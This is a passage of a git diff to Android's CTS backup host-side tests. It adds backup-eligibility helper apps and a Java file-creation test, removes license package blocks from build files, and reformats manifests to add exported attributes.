+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.backupeligibilityapp">
+
+    <application android:label="BackupAllowedApp">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.backupeligibilityapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/Android.bp b/hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/Android.bp
new file mode 100644
index 0000000..100718d
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "BackupNotAllowedApp",
+    defaults: ["cts_defaults"],
+    static_libs: ["CtsAllowBackupLib"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/AndroidManifest.xml b/hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/AndroidManifest.xml
new file mode 100644
index 0000000..e399a11
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.backupeligibilityapp">
+
+    <application android:label="BackupNotAllowedApp"
+        android:allowBackup="false">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.backupeligibilityapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/BackupEligibility/DebuggableApp/Android.bp b/hostsidetests/backup/BackupEligibility/DebuggableApp/Android.bp
new file mode 100644
index 0000000..7b15c39
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/DebuggableApp/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// An app used to verify 'adb backup' is enabled for debuggable apps.
+android_test_helper_app {
+    name: "DebuggableApp",
+    defaults: ["cts_defaults"],
+    static_libs: ["CtsAllowBackupLib"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/backup/BackupEligibility/DebuggableApp/AndroidManifest.xml b/hostsidetests/backup/BackupEligibility/DebuggableApp/AndroidManifest.xml
new file mode 100644
index 0000000..a4ace14
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/DebuggableApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.backupeligibilityapp">
+
+    <application android:label="DebuggableApp"
+                 android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.backupeligibilityapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/BackupEligibility/NonDebuggableApp/Android.bp b/hostsidetests/backup/BackupEligibility/NonDebuggableApp/Android.bp
new file mode 100644
index 0000000..c11bb63
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/NonDebuggableApp/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// An app used to verify 'adb backup' is disabled for non-debuggable apps.
+android_test_helper_app {
+    name: "NonDebuggableApp",
+    defaults: ["cts_defaults"],
+    static_libs: ["CtsAllowBackupLib"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/backup/BackupEligibility/NonDebuggableApp/AndroidManifest.xml b/hostsidetests/backup/BackupEligibility/NonDebuggableApp/AndroidManifest.xml
new file mode 100644
index 0000000..b09e4ba
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/NonDebuggableApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.backupeligibilityapp">
+
+    <application android:label="NonDebuggableApp"
+                 android:debuggable="false">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.backupeligibilityapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/BackupEligibility/src/BackupEligibilityTest.java b/hostsidetests/backup/BackupEligibility/src/BackupEligibilityTest.java
new file mode 100644
index 0000000..0c071d1
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/src/BackupEligibilityTest.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.backupeligibilityapp;
+
+import static androidx.test.InstrumentationRegistry.getTargetContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.Random;
+
+/**
+ * Device side routines to be invoked by the host side AllowBackupHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ *
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class BackupEligibilityTest {
+    public static final String TAG = "AllowBackupCTSApp";
+    private static final int FILE_SIZE_BYTES = 1024 * 1024;
+
+    private Context mContext;
+
+    private File mDoBackupFile;
+    private File mDoBackupFile2;
+
+    @Before
+    public void setUp() {
+        mContext = getTargetContext();
+        setupFiles();
+    }
+
+    private void setupFiles() {
+        File filesDir = mContext.getFilesDir();
+        File normalFolder = new File(filesDir, "normal_folder");
+
+        mDoBackupFile = new File(filesDir, "file_to_backup");
+        mDoBackupFile2 = new File(normalFolder, "file_to_backup2");
+    }
+
+    @Test
+    public void createFiles() throws Exception {
+        // Make sure the data does not exist from before
+        deleteFilesAndAssertNoneExist();
+
+        // Create test data
+        generateFiles();
+        assertAllFilesExist();
+
+        Log.d(TAG, "Test files created: \n"
+                + mDoBackupFile.getAbsolutePath() + "\n"
+                + mDoBackupFile2.getAbsolutePath());
+    }
+
+    @Test
+    public void deleteFilesAndAssertNoneExist() {
+        deleteAllFiles();
+        assertNoFilesExist();
+    }
+
+    @Test
+    public void checkNoFilesExist() throws Exception {
+        assertNoFilesExist();
+    }
+
+    @Test
+    public void checkAllFilesExist() throws Exception {
+        assertAllFilesExist();
+    }
+
+    private void generateFiles() {
+        try {
+            // Add data to all the files we created
+            addData(mDoBackupFile);
+            addData(mDoBackupFile2);
+            Log.d(TAG, "Files generated!");
+        } catch (IOException e) {
+            Log.e(TAG, "Unable to generate files", e);
+        }
+    }
+
+    private void deleteAllFiles() {
+        mDoBackupFile.delete();
+        mDoBackupFile2.delete();
+        Log.d(TAG, "Files deleted!");
+    }
+
+    private void addData(File file) throws IOException {
+        file.getParentFile().mkdirs();
+        byte[] bytes = new byte[FILE_SIZE_BYTES];
+        new Random().nextBytes(bytes);
+
+        try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
+            bos.write(bytes, 0, bytes.length);
+        }
+    }
+
+    private void assertAllFilesExist() {
+        assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
+        assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
+    }
+
+    private void assertNoFilesExist() {
+        assertFalse("File in 'files' did exist!", mDoBackupFile.exists());
+        assertFalse("File in folder inside 'files' did exist!", mDoBackupFile2.exists());
+    }
+}
diff --git a/hostsidetests/backup/BackupTransportApp/Android.bp b/hostsidetests/backup/BackupTransportApp/Android.bp
index 7b07cbe..1a80869 100644
--- a/hostsidetests/backup/BackupTransportApp/Android.bp
+++ b/hostsidetests/backup/BackupTransportApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsBackupTransportApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/FullBackupOnly/Android.bp b/hostsidetests/backup/FullBackupOnly/Android.bp
index 60c1cf6..acac2e1 100644
--- a/hostsidetests/backup/FullBackupOnly/Android.bp
+++ b/hostsidetests/backup/FullBackupOnly/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "CtsFullBackupOnlyLib",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.bp b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.bp
index a6b26b9..e6835f3 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.bp
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "FullBackupOnlyFalseNoAgentApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.bp b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.bp
index d3b5c02..ba34842 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.bp
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "FullBackupOnlyFalseWithAgentApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.bp b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.bp
index ef1941f..f959d73 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.bp
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "FullBackupOnlyTrueWithAgentApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/KeyValueApp/Android.bp b/hostsidetests/backup/KeyValueApp/Android.bp
index 60dbb65..7b7cea2 100644
--- a/hostsidetests/backup/KeyValueApp/Android.bp
+++ b/hostsidetests/backup/KeyValueApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsKeyValueBackupRestoreApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/OtherSoundsSettingsApp/Android.bp b/hostsidetests/backup/OtherSoundsSettingsApp/Android.bp
index b048dd4..12b9a4a 100644
--- a/hostsidetests/backup/OtherSoundsSettingsApp/Android.bp
+++ b/hostsidetests/backup/OtherSoundsSettingsApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsBackupOtherSoundsSettingsApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/PreservedSettingsApp/Android.bp b/hostsidetests/backup/PreservedSettingsApp/Android.bp
index 71859a9..404abc4 100644
--- a/hostsidetests/backup/PreservedSettingsApp/Android.bp
+++ b/hostsidetests/backup/PreservedSettingsApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsPreservedSettingsApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/ProfileFullBackupApp/Android.bp b/hostsidetests/backup/ProfileFullBackupApp/Android.bp
index 1c614e2..1cb5a3d 100644
--- a/hostsidetests/backup/ProfileFullBackupApp/Android.bp
+++ b/hostsidetests/backup/ProfileFullBackupApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsProfileFullBackupApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/ProfileKeyValueApp/Android.bp b/hostsidetests/backup/ProfileKeyValueApp/Android.bp
index 37b676f..154ba22 100644
--- a/hostsidetests/backup/ProfileKeyValueApp/Android.bp
+++ b/hostsidetests/backup/ProfileKeyValueApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsProfileKeyValueApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/ProfileSerialNumberApp/Android.bp b/hostsidetests/backup/ProfileSerialNumberApp/Android.bp
index 7254eac..fc322da 100644
--- a/hostsidetests/backup/ProfileSerialNumberApp/Android.bp
+++ b/hostsidetests/backup/ProfileSerialNumberApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsProfileSerialNumberApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/RestoreAnyVersion/Android.bp b/hostsidetests/backup/RestoreAnyVersion/Android.bp
index e4b71ef..7ce7333 100644
--- a/hostsidetests/backup/RestoreAnyVersion/Android.bp
+++ b/hostsidetests/backup/RestoreAnyVersion/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "CtsRestoreAnyVersionLib",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.bp b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.bp
index 19d52e5..f3c36d0 100644
--- a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.bp
+++ b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsBackupRestoreAnyVersionAppUpdate",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.bp b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.bp
index dc16faf..8d88636 100644
--- a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.bp
+++ b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsBackupRestoreAnyVersionNoRestoreApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.bp b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.bp
index a21b675..17582e0 100644
--- a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.bp
+++ b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsBackupRestoreAnyVersionApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/RestoreSessionTest/Android.bp b/hostsidetests/backup/RestoreSessionTest/Android.bp
index 206db8a..fb474be 100644
--- a/hostsidetests/backup/RestoreSessionTest/Android.bp
+++ b/hostsidetests/backup/RestoreSessionTest/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsRestoreSessionApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/Android.bp b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.bp
index 643d656..0034db5 100644
--- a/hostsidetests/backup/SharedPreferencesRestoreApp/Android.bp
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSharedPreferencesRestoreApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml b/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml
index e2eb7c5..9939d4e 100644
--- a/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml
@@ -16,26 +16,25 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.backup.sharedprefrestoreapp">
+     package="android.cts.backup.sharedprefrestoreapp">
 
-    <application
-        android:backupAgent=".SharedPreferencesBackupAgent"
-        android:killAfterRestore="false" >
+    <application android:backupAgent=".SharedPreferencesBackupAgent"
+         android:killAfterRestore="false">
 
         <activity android:name=".SharedPrefsRestoreTestActivity"
-            android:launchMode="singleInstance">
+             android:launchMode="singleInstance"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.backup.cts.backuprestore.INIT" />
-                <action android:name="android.backup.cts.backuprestore.UPDATE" />
-                <action android:name="android.backup.cts.backuprestore.TEST" />
+                <action android:name="android.backup.cts.backuprestore.INIT"/>
+                <action android:name="android.backup.cts.backuprestore.UPDATE"/>
+                <action android:name="android.backup.cts.backuprestore.TEST"/>
             </intent-filter>
         </activity>
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.cts.backup.sharedprefrestoreapp" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.cts.backup.sharedprefrestoreapp"/>
 
 </manifest>
diff --git a/hostsidetests/backup/SuccessNotificationApp/Android.bp b/hostsidetests/backup/SuccessNotificationApp/Android.bp
index 5ed1a7c..d1f75f0 100644
--- a/hostsidetests/backup/SuccessNotificationApp/Android.bp
+++ b/hostsidetests/backup/SuccessNotificationApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsBackupSuccessNotificationApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/SuccessNotificationApp/AndroidManifest.xml b/hostsidetests/backup/SuccessNotificationApp/AndroidManifest.xml
index 307b0e1..7a5cd6f 100644
--- a/hostsidetests/backup/SuccessNotificationApp/AndroidManifest.xml
+++ b/hostsidetests/backup/SuccessNotificationApp/AndroidManifest.xml
@@ -16,17 +16,17 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.backup.successnotificationapp">
+     package="android.cts.backup.successnotificationapp">
 
     <application>
-        <receiver android:name=".SuccessNotificationReceiver">
+        <receiver android:name=".SuccessNotificationReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.BACKUP_FINISHED" />
+                <action android:name="android.intent.action.BACKUP_FINISHED"/>
             </intent-filter>
         </receiver>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.cts.backup.successnotificationapp" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.cts.backup.successnotificationapp"/>
 </manifest>
diff --git a/hostsidetests/backup/SyncAdapterSettingsApp/Android.bp b/hostsidetests/backup/SyncAdapterSettingsApp/Android.bp
index b3d213d..6a3139f 100644
--- a/hostsidetests/backup/SyncAdapterSettingsApp/Android.bp
+++ b/hostsidetests/backup/SyncAdapterSettingsApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsBackupSyncAdapterSettingsApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/SyncAdapterSettingsApp/AndroidManifest.xml b/hostsidetests/backup/SyncAdapterSettingsApp/AndroidManifest.xml
index a46ff41..dd96aa6 100644
--- a/hostsidetests/backup/SyncAdapterSettingsApp/AndroidManifest.xml
+++ b/hostsidetests/backup/SyncAdapterSettingsApp/AndroidManifest.xml
@@ -16,35 +16,35 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.cts.backup.syncadaptersettingsapp">
+     package="android.cts.backup.syncadaptersettingsapp">
 
     <uses-permission android:name="android.permission.READ_SYNC_SETTINGS"/>
     <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>
 
     <application android:label="BackupSyncAdapterSettings">
         <uses-library android:name="android.test.runner"/>
-        <service android:name=".SyncAdapterSettingsAuthenticator">
+        <service android:name=".SyncAdapterSettingsAuthenticator"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.accounts.AccountAuthenticator"/>
             </intent-filter>
-            <meta-data
-                android:name="android.accounts.AccountAuthenticator"
-                android:resource="@xml/authenticator"/>
+            <meta-data android:name="android.accounts.AccountAuthenticator"
+                 android:resource="@xml/authenticator"/>
         </service>
 
         <service android:name=".SyncAdapterSettingsService"
-                 android:exported="false">
+             android:exported="false">
             <intent-filter>
                 <action android:name="android.content.SyncAdapter"/>
             </intent-filter>
             <meta-data android:name="android.content.SyncAdapter"
-                       android:resource="@xml/syncadapter"/>
+                 android:resource="@xml/syncadapter"/>
         </service>
 
         <provider android:name=".SyncAdapterSettingsProvider"
-                  android:authorities="android.cts.backup.syncadaptersettingsapp.provider"/>
+             android:authorities="android.cts.backup.syncadaptersettingsapp.provider"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.cts.backup.syncadaptersettingsapp"/>
+         android:targetPackage="android.cts.backup.syncadaptersettingsapp"/>
 </manifest>
diff --git a/hostsidetests/backup/fullbackupapp/Android.bp b/hostsidetests/backup/fullbackupapp/Android.bp
index a7d81d6..edc288c 100644
--- a/hostsidetests/backup/fullbackupapp/Android.bp
+++ b/hostsidetests/backup/fullbackupapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsHostsideTestsFullBackupApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/includeexcludeapp/Android.bp b/hostsidetests/backup/includeexcludeapp/Android.bp
index 1a8c1ac..0b37374 100644
--- a/hostsidetests/backup/includeexcludeapp/Android.bp
+++ b/hostsidetests/backup/includeexcludeapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsIncludeExcludeApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/restoresessionapp1/Android.bp b/hostsidetests/backup/restoresessionapp1/Android.bp
index e2071f3..3f27294 100644
--- a/hostsidetests/backup/restoresessionapp1/Android.bp
+++ b/hostsidetests/backup/restoresessionapp1/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsRestoreSessionApp1",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/restoresessionapp2/Android.bp b/hostsidetests/backup/restoresessionapp2/Android.bp
index eb82929..cb3e987 100644
--- a/hostsidetests/backup/restoresessionapp2/Android.bp
+++ b/hostsidetests/backup/restoresessionapp2/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsRestoreSessionApp2",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/restoresessionapp3/Android.bp b/hostsidetests/backup/restoresessionapp3/Android.bp
index 16a5aff..6c9494e 100644
--- a/hostsidetests/backup/restoresessionapp3/Android.bp
+++ b/hostsidetests/backup/restoresessionapp3/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsRestoreSessionApp3",
     defaults: ["cts_defaults"],
